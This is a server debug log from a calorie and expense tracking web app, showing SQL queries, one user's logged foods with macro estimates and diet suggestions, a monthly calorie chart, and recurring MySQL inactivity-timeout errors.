    summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
    bad_points: [
      'Carbohydrate sources are dominant in the main meal.',
      'Limited variety in vegetables and fiber intake.',
      'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
      'The jaggery nuts patti adds a significant amount of sugar.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle development.',
      'Consistent early morning gym sessions.',
      'Use of unsweetened milk tea is a positive choice.'
    ],
    suggestions: [
      'Incorporate a larger portion of vegetables in the main meal.',
      'Consider adding lean protein sources to meals beyond the supplement.',
      'Increase intake of fruits or other fibrous foods.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T10:26:36.217Z server-connect:output restrict: undefined
2025-12-19T10:26:36.217Z server-connect:app Executing action step single
2025-12-19T10:26:36.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T10:26:36.217Z server-connect:app Executing action step identify
2025-12-19T10:26:36.217Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.218Z server-connect:output identity: 1
2025-12-19T10:26:36.218Z server-connect:app Executing action step restrict
2025-12-19T10:26:36.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:36.219Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T10:26:36.219Z server-connect:app Executing action step select
2025-12-19T10:26:36.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T10:26:36.219Z server-connect:output restrict: undefined
2025-12-19T10:26:36.219Z server-connect:app Executing action step select
2025-12-19T10:26:36.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T10:26:36.220Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  },
  {
    id: 455,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
    replacements: 'Plain roasted nuts (almonds, walnuts),A small piece of fruit (apple, orange),Sugar-free nut bars',
    created_at: '2025-12-19T04:51:09.000Z',
    skip_level: 2,
    skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
  },
  {
    id: 456,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Salted Hot Peanuts',
    calories: 285,
    protein_gm: 13,
    carbs_gm: 9,
    fat_gm: 24,
    quantity: '50 gm',
    replacements: 'Plain roasted peanuts (unsalted),Boiled peanuts,Edamame,Air-popped popcorn (plain)',
    created_at: '2025-12-19T04:56:35.000Z',
    skip_level: 2,
    skip_reason: 'While peanuts offer protein and healthy fats, salted hot peanuts can be high in sodium and often contain added oils/spices that increase calorie density. For muscle development, a less processed, unsalted version would be preferable, or consider other protein sources with less fat if calorie intake is a concern.'
  }
]
2025-12-19T10:26:36.220Z server-connect:app Executing action step setvalue
2025-12-19T10:26:36.220Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T10:26:36.220Z server-connect:output var_total: 1151
2025-12-19T10:26:36.220Z server-connect:app Executing action step setvalue
2025-12-19T10:26:36.220Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T10:26:36.220Z server-connect:output var_consumed: 48
2025-12-19T10:26:36.220Z server-connect:app Executing action step setvalue
2025-12-19T10:26:36.220Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T10:26:36.220Z server-connect:output var_deficit: 1249
2025-12-19T10:26:36.220Z server-connect:app Executing action step custom
2025-12-19T10:26:36.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T10:26:36.221Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T10:26:36.222Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '1151',
    surplus_or_deficit: '1249',
    status_flag: 2
  }
]
2025-12-19T10:26:36.808Z server-connect:app Executing action step identify
2025-12-19T10:26:36.808Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.808Z server-connect:output identity: 1
2025-12-19T10:30:37.879Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Salted Hot Peanuts',
      quantity: '50 gm',
      calories_consumed: 285,
      total_calories: 285,
      protein: 12.8,
      carbs: 8.5,
      fat: 24.1,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While peanuts offer protein and healthy fats, salted versions can be high in sodium, which might lead to water retention and isn't ideal for muscle definition. The 'hot' aspect might also involve added oils or spices that increase calories. For muscle development, plain roasted or boiled peanuts would be a better choice."
    }
  ],
  total_macros: {
    protein: { value: 12.8, unit: 'g' },
    carbs: { value: 8.5, unit: 'g' },
    fat: { value: 24.1, unit: 'g' }
  }
}
2025-12-19T10:39:44.711Z server-connect:app Executing action step identify
2025-12-19T10:39:44.711Z server-connect:app options: { provider: 'security' }
2025-12-19T10:39:44.711Z server-connect:output identity: 1
2025-12-19T10:39:47.466Z server-connect:app Executing action step identify
2025-12-19T10:39:47.467Z server-connect:app options: { provider: 'security' }
2025-12-19T10:39:47.467Z server-connect:output identity: 1
2025-12-19T10:56:01.627Z server-connect:app Executing action step identify
2025-12-19T10:56:01.627Z server-connect:app options: { provider: 'security' }
2025-12-19T10:56:01.627Z server-connect:output identity: 1
2025-12-19T10:56:04.856Z server-connect:app Executing action step identify
2025-12-19T10:56:04.856Z server-connect:app options: { provider: 'security' }
2025-12-19T10:56:04.856Z server-connect:output identity: 1
2025-12-19T11:13:50.227Z server-connect:app Executing action step identify
2025-12-19T11:13:50.227Z server-connect:app options: { provider: 'security' }
2025-12-19T11:13:50.227Z server-connect:output identity: 1
2025-12-19T11:13:53.437Z server-connect:app Executing action step identify
2025-12-19T11:13:53.437Z server-connect:app options: { provider: 'security' }
2025-12-19T11:13:53.437Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 11:19:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 11:19:39' as DATETIME)"
}
2025-12-19T11:24:44.717Z server-connect:app Executing action step identify
2025-12-19T11:24:44.717Z server-connect:app options: { provider: 'security' }
2025-12-19T11:24:44.717Z server-connect:output identity: 1
2025-12-19T11:24:47.201Z server-connect:app Executing action step identify
2025-12-19T11:24:47.201Z server-connect:app options: { provider: 'security' }
2025-12-19T11:24:47.201Z server-connect:output identity: 1
2025-12-19T11:29:52.230Z server-connect:app Executing action step identify
2025-12-19T11:29:52.230Z server-connect:app options: { provider: 'security' }
2025-12-19T11:29:52.231Z server-connect:output identity: 1
2025-12-19T11:29:54.496Z server-connect:app Executing action step identify
2025-12-19T11:29:54.496Z server-connect:app options: { provider: 'security' }
2025-12-19T11:29:54.496Z server-connect:output identity: 1
2025-12-19T11:51:26.524Z server-connect:app Executing action step identify
2025-12-19T11:51:26.524Z server-connect:app options: { provider: 'security' }
2025-12-19T11:51:26.525Z server-connect:output identity: 1
2025-12-19T11:51:29.370Z server-connect:app Executing action step identify
2025-12-19T11:51:29.370Z server-connect:app options: { provider: 'security' }
2025-12-19T11:51:29.370Z server-connect:output identity: 1
2025-12-19T11:53:11.554Z server-connect:app Executing action step identify
2025-12-19T11:53:11.554Z server-connect:app options: { provider: 'security' }
2025-12-19T11:53:11.555Z server-connect:output identity: 1
2025-12-19T11:53:14.329Z server-connect:app Executing action step identify
2025-12-19T11:53:14.329Z server-connect:app options: { provider: 'security' }
2025-12-19T11:53:14.329Z server-connect:output identity: 1
2025-12-19T12:08:26.231Z server-connect:app Executing action step identify
2025-12-19T12:08:26.231Z server-connect:app options: { provider: 'security' }
2025-12-19T12:08:26.232Z server-connect:output identity: 1
2025-12-19T12:08:29.552Z server-connect:app Executing action step identify
2025-12-19T12:08:29.552Z server-connect:app options: { provider: 'security' }
2025-12-19T12:08:29.552Z server-connect:output identity: 1
2025-12-19T12:16:38.228Z server-connect:app Executing action step identify
2025-12-19T12:16:38.229Z server-connect:app options: { provider: 'security' }
2025-12-19T12:16:38.229Z server-connect:output identity: 1
2025-12-19T12:16:42.298Z server-connect:app Executing action step identify
2025-12-19T12:16:42.298Z server-connect:app options: { provider: 'security' }
2025-12-19T12:16:42.299Z server-connect:output identity: 1
2025-12-19T12:46:35.237Z server-connect:app Executing action step identify
2025-12-19T12:46:35.237Z server-connect:app options: { provider: 'security' }
2025-12-19T12:46:35.237Z server-connect:output identity: 1
2025-12-19T12:46:38.124Z server-connect:app Executing action step identify
2025-12-19T12:46:38.125Z server-connect:app options: { provider: 'security' }
2025-12-19T12:46:38.125Z server-connect:output identity: 1
2025-12-19T12:51:49.236Z server-connect:app Executing action step identify
2025-12-19T12:51:49.236Z server-connect:app options: { provider: 'security' }
2025-12-19T12:51:49.237Z server-connect:output identity: 1
2025-12-19T12:51:51.210Z server-connect:app Executing action step identify
2025-12-19T12:51:51.210Z server-connect:app options: { provider: 'security' }
2025-12-19T12:51:51.210Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 12:53:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 12:53:40' as DATETIME)"
}
2025-12-19T13:00:31.231Z server-connect:app Executing action step identify
2025-12-19T13:00:31.231Z server-connect:app options: { provider: 'security' }
2025-12-19T13:00:31.231Z server-connect:output identity: 1
2025-12-19T13:00:34.200Z server-connect:app Executing action step identify
2025-12-19T13:00:34.200Z server-connect:app options: { provider: 'security' }
2025-12-19T13:00:34.200Z server-connect:output identity: 1
2025-12-19T13:17:47.229Z server-connect:app Executing action step identify
2025-12-19T13:17:47.229Z server-connect:app options: { provider: 'security' }
2025-12-19T13:17:47.229Z server-connect:output identity: 1
2025-12-19T13:17:50.248Z server-connect:app Executing action step identify
2025-12-19T13:17:50.248Z server-connect:app options: { provider: 'security' }
2025-12-19T13:17:50.248Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 13:24:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
